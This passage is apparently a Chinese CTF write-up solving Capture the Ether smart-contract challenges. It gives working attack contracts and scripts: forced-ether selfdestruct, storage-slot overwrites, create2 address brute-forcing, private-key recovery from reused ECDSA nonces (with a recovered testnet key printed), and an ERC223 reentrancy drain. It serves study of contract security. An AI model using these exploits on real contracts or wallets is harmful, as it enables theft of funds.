这里涉及到一个知识点:

 SELFDESTRUCT 函数可以强制发送 ETH:

SELFDESTRUCT 是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的balance发送给参数所指定的地址,比较特殊的是这笔ether的发送将无视合约的fallback函数,所以它是强制性的 。

攻击合约代码:

1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.21;

contract ForceAttack {

function ForceAttack(address target) public payable {
require(msg.value > 0);
selfdestruct(target);
}
}

最后调用 collectPenalty 函数即可。

4. Mapping

题目描述:

MATH: 750 POINTS

Begin Challenge

Who needs mappings? I’ve created a contract that can store key/value pairs using just an array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

Enjoy this inspirational music while you work: Map To My Heart.

解题:

题目设置了 一个 map , 我们可以对 map 进行操作, 要求将 isComplete 设置为 True 即可。 感觉就是溢出 map 的空间,覆盖到 isComplete 的位置即可。

通过了解,我们可以知道动态数组,其在声明中所在位置决定的存储位里存放的是其长度,而其中的变量的存储位则是基于其长度所在的存储进行,这部分的详细内容可以参见此处一篇翻译文章了解以太坊智能合约存储

solidity的storage slot存储

1
2
3
4
5
6
7
8
9
10
11


slot 0: isComplete
slot 1: map.length
// ...
slot keccak(1): map[0]
slot keccak(1) + 1: map[1]
slot keccak(1) + 2: map[2]
slot keccak(1) + 3: map[3]
slot keccak(1) + 4: map[4]
// ...

动态数组内变量所在的存储位的计算公式即为

keccak256(slot) + index

map.length = key + 1;
当map.length溢出会回绕到slot 0 即可完成isComplete的覆盖

1
2
3
4
5
6
7
>>> a = binascii.unhexlify('%064x' % 1)
>>> Web3.keccak(a)
HexBytes('0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6')

>>> 2**256 - int(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)
35707666377435648211887908874984608119992236509074197713628505308453184860938

则在 35707666377435648211887908874984608119992236509074197713628505308453184860938 位置设置为 1 即可。

5. Donation

题目描述:

A candidate you don’t like is accepting campaign contributions via the smart contract below.

To complete this challenge, steal the candidate’s ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

Enjoy this inspirational music while you work: Space Force.

解题:

这也是一个变量覆盖题目。 Struct在函数内非显式地初始化的时候会使用storage存储而不是memory。具体讲就是 donate() 中 donation 定义时未指定引用,默认指向 slot0 。 因此我们可覆盖solt 0和slot 1处1存储的状态变量,恰好solt 1存储的即为owner

1
2
3
4
5
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

now覆盖slot(0) etherAmount覆盖slot(1) 利用etherAmount覆盖owner

我们需要将 owner 覆盖为我们的账户, 然后将 balance 取出。

攻击: 设置 value 满足要求,即 address // 10**36 , 设置 etherAmount 的值为我的地址

攻击后:

这样我就可以将 balance 全部取出了。

6. Fifty years

题目描述:

This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.

All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;

address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

Enjoy this inspirational music while you work: 100 Years. I guess just listen to half of it.

解题:

通过前面几天题,我可以知道以下暂时可以得到信息:

  1. 函数里使用了storage存储来初始化一个contribution结构体, 因此我们可以覆盖 queue 的长度以及 head 的值。

      msg.value覆盖slot(0) -> queue.length
      timestamp覆盖slot(1) -> head
  2. 溢出漏洞: require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

    queue 的长度可控, 动态数组queue 的变量所在的存储位计算规则为 keccak256(slot) + index * elementsize , elementsize 即为结构体Contribution的size

利用思路:

  1. 启动合约,此时 queue.length =1, head = 0

  2. 调用 upsert(1, 2**256-24*60*60) 通过溢出绕过 require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); 检查,即 2**256 + 24 * 60 * 60 = 0;

    此时 queue.length = 1 & head = 2*256-2460*60

  3. 再调用一次 upsert(2, 0) , 调用后, queue.length = 2 & head = 0

  4. 最后取出所有 balance withdraw(2)

step1:

step: 2

然后在执行withraw 的时候发现失败了,通过调试以及查阅资料发现:

1
2
3
4
5
contribution的amount值并不是我们传递的msg.value的值,在其基础上还加了1.开始我也不太明白,后来debug发现原来queue.length也是msg.value+1,因为二者共用一块存储,应该是queue.length增加时也修改了amount的值,至于此处queue.length为何+1,则是因为queue.push操作,因为其在最后执行增添对象的任务,添加以后它会将queue.length进行+1操作

这样一切就解释的通了,关键就是这里amount进行了+1,所以在withdraw是所统计的total事实上是大于合约所拥有的balance,所以transfer无法执行,这一点确实有点难到我了,必须想个办法抵消这一步+1的操作

很快,我意识到我可以利用value来覆盖已有的contribution,既然发1 wei会加1,那我发两次,这样得到的amount就是2,也就是我实际发送的wei数目,所以把上面那两步写入操作都改成1 wei下的操作即可 。

参考资料:

capture the ether write up(warmup and Math) - 安全客,安全资讯平台 (anquanke.com)

Account

1. Fuzzy identity

题目描述:

This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:

  1. I always use a wallet contract that returns “smarx” if you ask its name.
  2. Everything I write has bad code in it, so my address always includes the hex string badc0de.

To complete this challenge, steal my identity!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

Enjoy this inspirational music while you work: Research Me Obsessively.

解题:

题目要求:

  1. IName(addr).name() == bytes32("smarx");
  2. 地址中要存在 badc0de

通过查阅资料可以知道:

参考黄皮书公式(81),部署合约时,目标地址有两种计算方式,分别为 CREATE 和 CREATE2

我们通过 CREATE2 爆破salt计算合约地址,包含badc0de即可

  1. 部署攻击合约的部署合约利用create2获取包含特定字符的攻击合约地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.5.12;
contract FuzzyIdentitySolverDeployer {

function deploy(bytes memory code, uint256 salt) public
returns(address) {

address addr;
assembly {

addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {

revert(0, 0)
}

}

return addr;
}

}

部署上述合约并获取合约地址:

  1. 编译攻击合约代码, 并获取攻击合约代码的 bytecode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.4.21;

interface IFuzzyIdentityChallengeSolver {
function authenticate() external;

}

contract FuzzyIdentityChallengeSolver {
function name() public pure returns (bytes32) {

return bytes32("smarx");
}

function attack(address _addr) public {
IFuzzyIdentityChallengeSolver(_addr).authenticate();

}
}
1
2
3
4
5
6
{
"linkReferences": {},
"object": "608060405234801561001057600080fd5b5061019a806100206000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610084575b600080fd5b34801561005d57600080fd5b506100666100c7565b60405180826000191660001916815260200191505060405180910390f35b34801561009057600080fd5b506100c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100ef565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561015357600080fd5b505af1158015610167573d6000803e3d6000fd5b50505050505600a165627a7a723058208dfe2548775f3de8273867b8111a10cf9a9ad2fbde6b7c8d41ececc20f7367380029",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x19A DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x4C JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6FDDE03 EQ PUSH2 0x51 JUMPI DUP1 PUSH4 0xD018DB3E EQ PUSH2 0x84 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x5D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x66 PUSH2 0xC7 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH1 0x0 NOT AND PUSH1 0x0 NOT AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x90 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xC5 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0xEF JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH32 0x736D617278000000000000000000000000000000000000000000000000000000 SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x380C7A67 PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x153 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x167 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 DUP14 INVALID 0x25 0x48 PUSH24 0x5F3DE8273867B8111A10CF9A9AD2FBDE6B7C8D41ECECC20F PUSH20 0x6738002900000000000000000000000000000000 ",
"sourceMap": "107:239:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;107:239:0;;;;;;;"
}
  1. keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]计算攻击合约地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import random
import sys
from web3 import Web3


def _create2(deployer, salt_hexstr, hashed_bytecode):
addr_hexbytes = Web3.keccak(hexstr=('ff' + deployer + salt_hexstr +
hashed_bytecode))
addr = Web3.toHex(addr_hexbytes)[-40:]
return addr



def create2(deployer, salt, bytecode):
assert(len(deployer) == 40)
assert(len(bytecode) % 2 == 0)
salt_hexstr = hex(salt)[2:].zfill(64)
hashed_bytecode = Web3.toHex(Web3.keccak(hexstr=bytecode))[2:]
return _create2(deployer, salt_hexstr, hashed_bytecode)
def create2_search(deployer, predicate, bytecode):
salt = 0
hashed_bytecode = Web3.toHex(Web3.keccak(hexstr=bytecode))[2:]
while True:
salt += 1
salt_hexstr = hex(salt)[2:].zfill(64)
addr = _create2(deployer, salt_hexstr, hashed_bytecode)
if salt % 1000 == 0:
print('.', end='', flush=True)
if predicate(addr):
print(f"\nFound a match after {salt} attempts: {addr}")
break
def main():
if len(sys.argv) != 4:
print(f"Usage: python3 {sys.argv[0]} deployer_addr <salt |predicate> bytecode")
print()
print(f"When passing a salt value, this script prints theaddress of the newly deployed contract based on the deployer address andbytecode hash.")
print(f"Example: python3 {sys.argv[0]}Bf6cE3350513EfDcC0d5bd5413F1dE53D0E4f9aE 42 602a60205260206020f3")
print()
print(f"When passing a predicate, this script will search for a salt value such that the new address satisfies the predicate.")
print(f"Example: python3 {sys.argv[0]}Bf6cE3350513EfDcC0d5bd5413F1dE53D0E4f9aE 'lambda addr: \"badc0de\" inaddr.lower()' 602a60205260206020f3")
print(f"Another predicate that may be useful: 'lambda addr:addr.startswith(\"0\" * 8)' 602a60205260206020f3")
sys.exit(0)

deployer_addr = sys.argv[1]
if deployer_addr.startswith('0x'):
deployer_addr = deployer_addr[2:]
bytecode = sys.argv[3]
try:
salt = int(sys.argv[2])
print(create2(deployer_addr, salt, bytecode))
except ValueError:
predicate = eval(sys.argv[2])
create2_search(deployer_addr, predicate, bytecode)
if __name__ == '__main__':
main()
通过计算出来的合约攻击目标地址

2. Public Key

题目描述:

Recall that an address is the last 20 bytes of the keccak-256 hash of the address’s public key.

To complete this challenge, find the public key for the owner‘s account.

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;

function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Public Key Infrastructure.

解题:

题目提供我们一个合约的地址,要求我们得到该地址的公钥。 这里涉及到以太坊的交易签名算法。当我们知道 r、s、v 和 hash时我们可以恢复出公钥。

R 、S、V 可以通过如下方法获得, 首先找到由这个账户发起的交易,然后通过脚本计算, 完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const ethers = require("ethers");
const Web3 = require('web3');
(async () => {


const tx = ethers.utils.parseTransaction('0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962');




const expandedSig = {
r: tx.r,
s: tx.s,
v: tx.v
};
const signature = ethers.utils.joinSignature(expandedSig);
const txData = {
gasPrice: tx.gasPrice,
gasLimit: tx.gasLimit,
value: tx.value,
nonce: tx.nonce,
data: tx.data,
chainId: tx.chainId,
to: tx.to
};
const rsTx = await ethers.utils.resolveProperties(txData);
const raw = ethers.utils.serializeTransaction(rsTx);
const msgHash = ethers.utils.keccak256(raw);
const msgBytes = ethers.utils.arrayify(msgHash);
const recoveredPubKey = ethers.utils.recoverPublicKey(msgBytes,signature);

const compressedPubKey =
ethers.utils.arrayify(recoveredPubKey).slice(1);


const answerPubKeyHex =
Buffer.from(compressedPubKey).toString('hex');
console.log(`0x${answerPubKeyHex}`);
})();

0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4

参考链接:

签名与校验 :: 以太坊技术与实现 (learnblockchain.cn)

3. Account Takeover

题目描述:

To complete this challenge, send a transaction from the owner‘s account.

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Pinky and The Brain Intro.

解题:

题目要求我们获取账户私钥

找到该账户的所有交易,发现有两笔交易使用了同样的 r

解题脚本如下::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

from web3 import Web3, HTTPProvider
from pwn import log
infura_url = 'https://ropsten.infura.io/v3/[api_key]'
web3 = Web3(Web3.HTTPProvider(infura_url))

a= web3.eth.get_transaction("0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009")
log.info("r = {0}".format(a.r.hex()))
log.info("s = {0}".format(a.s.hex()))
log.info("v= {0}".format(a.v))

a= web3.eth.get_transaction("0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396")
log.info("r = {0}".format(a.r.hex()))
log.info("s = {0}".format(a.s.hex()))
log.info("v= {0}".format(a.v))


r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166

0xd79fc80e7b787802602f3317b7fe67765c14a7d40c3e0dcb266e63657f881396
s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8
z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04

0x061bf0b4b5fdb64ac475795e9bc5a3978f985919ce6747ce2cfbbcaccaf51009
s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c

p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141



def inverse_mod(a, n):
return pow(a, n - 2, n)

k=(z1-z2)*inverse_mod(s1-s2,p)%p
pk = (s1 * k - z1) * inverse_mod(r, p) % p
pkNeg=(-s1*(-k%p)-z1)*inverse_mod(r,p)%p
log.info('k = {:x}'.format(k))
log.info('k negation = {:x}'.format(-k % p))


if pk == pkNeg:
log.success('private key = {:x}'.format(pk))


k=(z1-z2)*inverse_mod(s1+s2,p)%p
pk = (s1 * k - z1) * inverse_mod(r, p) % p
log.info('k = {:x}'.format(k))
log.info('k negation = {:x}'.format(-k % p))

if pk == pkNeg:
log.success('private key = {:x}'.format(pk))


from eth_account import Account
acct =Account.from_key("614f5e36cd55ddab0947d1723693fef5456e5bee24738ba90bd33c0c6e68e269")
log.info('account addr {:x}'.format(acct.address))

然后用这个账户调用 authenticate 函数即可:

参考链接:

Smart Contract Exploits Part 3 — Featuring Capture the Ether (Accounts) | by Enigmatic | Coinmonks | Medium

Miscellaneous

1. Assume ownership

题目描述:

To complete this challenge, become the owner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;

function AssumeOwmershipChallenge() public {
owner = msg.sender;
}

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

Enjoy this inspirational music while you work: Owner Of A Lonely Heart.

解题:

构造函数存在拼写错误 , 导致合约部署的时候这个函数没有运行。

1
2
AssumeOwnershipChallenge
AssumeOwmershipChallenge

因此我们可以直接调用 AssumeOwmershipChallenge 函数设置 owner

2. Token bank

题目描述:

I created a token bank. It allows anyone to deposit tokens by transferring them to the bank and then to withdraw those tokens later. It uses ERC 223 to accept the incoming tokens.

The bank deploys a token called “Simple ERC223 Token” and assigns half the tokens to me and half to you. You win this challenge if you can empty the bank.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
pragma solidity ^0.4.21;

interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;

string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;

uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

event Transfer(address indexed from, address indexed to, uint256 value);

function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}

function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}

function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}

function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

event Approval(address indexed owner, address indexed spender, uint256 value);

mapping(address => mapping(address => uint256)) public allowance;

function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);

balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}

contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;

function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();

// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}

function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}

function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);

balanceOf[from] += value;
}

function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}

Enjoy this inspirational music while you work: A British Bank.

解题:

题目要求我们将 Bank 的余额清零。

TokenBankChallenge.withdraw(uint256) 中存在重入漏洞:

它先发出消息调用 token.transfer(msg.sender) 后修改状态

前者又会发起外部调用 ITokenReceiver(to).tokenFallback()

1
2
3
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}

判断了to地址是否是个合约地址,如果是合约的话就用ITokenReceiver接口来调用to合约的tokenFallback函数,在银行合约里这个函数用更改目标的balance,但是to是我们可控的 , 我们只需部署攻击合约,且该合约也存在 tokenFallback 函数,然后函数中再调用 TokenBankChallenge.withdraw , 就可以合约身份执行withdraw函数

步骤:

  1. 部署攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pragma solidity ^0.4.21;

interface ITokenBankChallenge {
function token() external returns (address);
function balanceOf(address from) external returns (uint256);
function isComplete() external view returns (bool);
function withdraw(uint256 amount) external;
}
interface ISimpleERC223Token {
function totalSupply() external returns (uint256);
function balanceOf(address from) external returns (uint256);
function transfer(address to, uint256 value) external returns (bool success);
}

contract TokenBankSolver {
ITokenBankChallenge public challenge;
ISimpleERC223Token public token;
uint256 public balance = 500000000000000000000000;

function TokenBankSolver(address _addr) public {
challenge = ITokenBankChallenge(_addr);
token = ISimpleERC223Token(challenge.token());
}

function attack() public returns(uint256) {
token.transfer(challenge, balance);
challenge.withdraw(balance);
}

function tokenFallback(address from, uint256 value, bytes) public {
token.balanceOf(from);
require(msg.sender == address(token));
uint256 challengeLeftBalance = token.balanceOf(address(challenge));
bool keepRecursing = challengeLeftBalance > 0;
if (keepRecursing) {
uint256 v = value < challengeLeftBalance? value: challengeLeftBalance;
challenge.withdraw(v);
}
}

function isComplete() public view returns(bool) {
return challenge.isComplete();
}
}

  1. 将 Bank中的 balance 全部提换成 Token -> TokenBankChallenge.withdraw =>SimpleERC223Token

  2. 设置 allowance : allowance[from=player][msg.sender=player] =500000000000000000000000

  3. 将 player 的 Token 全部转到攻击合约上:

1
simpleERC223Token_contract.functions.transferFrom(player_account.address,to=attack_contract_address,value=500000000000000000000000)
  1. 调用攻击合约的 attack 函数

这样就完成了攻击步骤

至此就全部做完了:


文章来源: https://bestwing.me/Capture-The-Ether-writeup.html
如有侵权请联系:admin#unsafe.sh